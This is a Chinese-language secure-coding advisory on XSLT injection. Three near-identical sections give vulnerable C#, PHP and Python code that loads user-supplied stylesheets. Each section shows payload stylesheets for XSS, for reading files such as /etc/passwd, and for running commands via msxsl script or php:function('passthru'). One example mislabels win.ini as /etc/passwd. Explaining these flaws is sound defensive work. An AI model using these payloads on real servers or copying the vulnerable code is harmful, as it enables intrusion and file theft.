XSLT Injection

如果处理未经验证的 XSL 样式表，则可能会使攻击者能够更改生成的 XML 的结构和内容、在文件系统中加入任意文件或执行任意代码。

XSLT injection 会在以下情况中出现：

1. 数据从一个不可信赖的数据源进入程序。

2. 数据写入到 XSL 样式表中。


通常，应用程序利用 XSL 样式表来转换 XML 文档的格式。XSL 样式表中包括特殊函数，虽然此类函数能改善转换进程，但如果使用不当也会带来更多漏洞。

如果攻击者能够在样式表中写入 XSL 元素，则可以更改 XSL 样式表和处理的语义。攻击者可能会更改样式表的输出以启用 XSS (Cross-Site Scripting) 攻击、公开本地文件系统资源的内容或执行任意代码。

例 1：下面是一些易受 XSLT 注入攻击的代码：

  ...
  String xmlUrl = Request["xmlurl"];
  String xslUrl = Request["xslurl"];

  XslCompiledTransform xslt = new XslCompiledTransform();
  xslt.Load(xslUrl);

  xslt.Transform(xmlUrl, "books.html");
  ...
  

如果攻击者将标识的 XSL 传递到 XSTL 处理器，Example 1 会导致三种不同的漏洞利用：

1. XSS：

  <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
    <xsl:template match="/">
      <script>alert(123)</script>
    </xsl:template>
  </xsl:stylesheet>

  

在处理 XSL 样式表时，<script> 会进入受害者的浏览器，从而能够实施 cross-site scripting 攻击。

2. 读取服务器文件系统中的任意文件：

  <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
    <xsl:template match="/">
      <xsl:copy-of select="document('file:///c:/winnt/win.ini')"/>
    </xsl:template>
  </xsl:stylesheet>

  

上述 XSL 样式表将返回 /etc/passwd 文件的内容。

3. 执行任意代码：

XSLT 处理器如果不禁用，能将本机语言方法暴露为 XSLT 函数。

  <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt" xmlns:App="http://www.tempuri.org/App">
    <msxsl:script implements-prefix="App" language="C#">
      <![CDATA[
        public string ToShortDateString(string date)
          {
              System.Diagnostics.Process.Start("cmd.exe");
              return "01/01/2001";
          }
      ]]>
    </msxsl:script>
    <xsl:template match="ArrayOfTest">
      <TABLE>
        <xsl:for-each select="Test">
          <TR>
          <TD>
            <xsl:value-of select="App:ToShortDateString(TestDate)" />
          </TD>
          </TR>
        </xsl:for-each>
      </TABLE>
    </xsl:template>
  </xsl:stylesheet>

  

上述样式表将在服务器上执行“cmd.exe”命令。

如果处理未经验证的 XSL 样式表，则可能会使攻击者能够更改生成的 XML 的结构和内容、在文件系统中加入任意文件或执行任意代码。

XSLT injection 会在以下情况中出现：

1. 数据从一个不可信赖的数据源进入程序。

2. 数据写入到 XSL 样式表中。


通常，应用程序利用 XSL 样式表来转换 XML 文档的格式。XSL 样式表中包括特殊函数，虽然此类函数能改善转换进程，但如果使用不当也会带来更多漏洞。

如果攻击者能够在样式表中写入 XSL 元素，则可以更改 XSL 样式表和处理的语义。攻击者可能会更改样式表的输出以启用 XSS (Cross-Site Scripting) 攻击、公开本地文件系统资源的内容或执行任意代码。如果攻击者完全控制了提交给应用程序的样式表，则他们可能还会执行 XXE (XML External Entity) Injection 攻击。

示例 1：下面是一些易受 XSLT 注入攻击的代码：

...
<?php

$xml = new DOMDocument;
$xml->load('local.xml');

$xsl = new DOMDocument;
$xsl->load($_GET['key']);

$processor = new XSLTProcessor;
$processor->registerPHPFunctions();
$processor->importStyleSheet($xsl);

echo $processor->transformToXML($xml);

?>
...

当攻击者将标识的 XSL 传递到 XSTL 处理器时，Example 1 中的代码会导致三种不同的漏洞利用：

1. XSS：

<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl">
<xsl:template match="/">
<script>alert(123)</script>
</xsl:template>
</xsl:stylesheet>

在处理 XSL 样式表时，<script> 会进入受害者的浏览器，从而能够实施 cross-site scripting 攻击。

2. 读取服务器文件系统中的任意文件：

<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl">
<xsl:template match="/">
<xsl:copy-of select="document('/etc/passwd')"/>
</xsl:template>
</xsl:stylesheet>

上述 XSL 样式表将返回 /etc/passwd 文件的内容。

3. 执行任意 PHP 代码：

XSLT 处理器通过启用“registerPHPFunctions”，能将本机 PHP 语言方法暴露为 XSLT 函数。

<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl">
<xsl:template match="/">
<xsl:value-of select="php:function('passthru','ls -la')"/>
</xsl:template>
</xsl:stylesheet>

上述样式表将在服务器上输出“ls”命令的结果。

如果处理未经验证的 XSL 样式表，则可能会使攻击者能够更改生成的 XML 的结构和内容、在文件系统中加入任意文件或执行任意代码。

XSLT injection 会在以下情况中出现：

1. 数据从一个不可信赖的数据源进入程序。

2. 数据写入到 XSL 样式表中。


通常，应用程序利用 XSL 样式表来转换 XML 文档的格式。XSL 样式表中包括特殊函数，虽然此类函数能改善转换进程，但如果使用不当也会带来更多漏洞。

如果攻击者能够在样式表中写入 XSL 元素，则可以更改 XSL 样式表和处理的语义。攻击者可能会更改样式表的输出以启用 XSS (Cross-Site Scripting) 攻击、公开本地文件系统资源的内容或执行任意代码。

例 1：下面是一些易受 XSLT 注入攻击的代码：

...
xml = StringIO.StringIO(request.POST['xml'])
xslt = StringIO.StringIO(request.POST['xslt'])

xslt_root = etree.XML(xslt)
transform = etree.XSLT(xslt_root)
result_tree = transform(xml)
return render_to_response(template_name, {'result': etree.tostring(result_tree)})
...

当攻击者将标识的 XSL 传递到 XSTL 处理器时，Example 1 中的代码会导致三种不同的漏洞利用：

1. XSS：

<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
  <xsl:template match="/">
    <script>alert(123)</script>
  </xsl:template>
</xsl:stylesheet>

在处理 XSL 样式表时，<script> 会进入受害者的浏览器，从而能够实施 cross-site scripting 攻击。

2. 读取服务器文件系统中的任意文件：

<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
  <xsl:template match="/">
    <xsl:copy-of select="document('/etc/passwd')"/>
  </xsl:template>
</xsl:stylesheet>

上述 XSL 样式表将返回 /etc/passwd 文件的内容。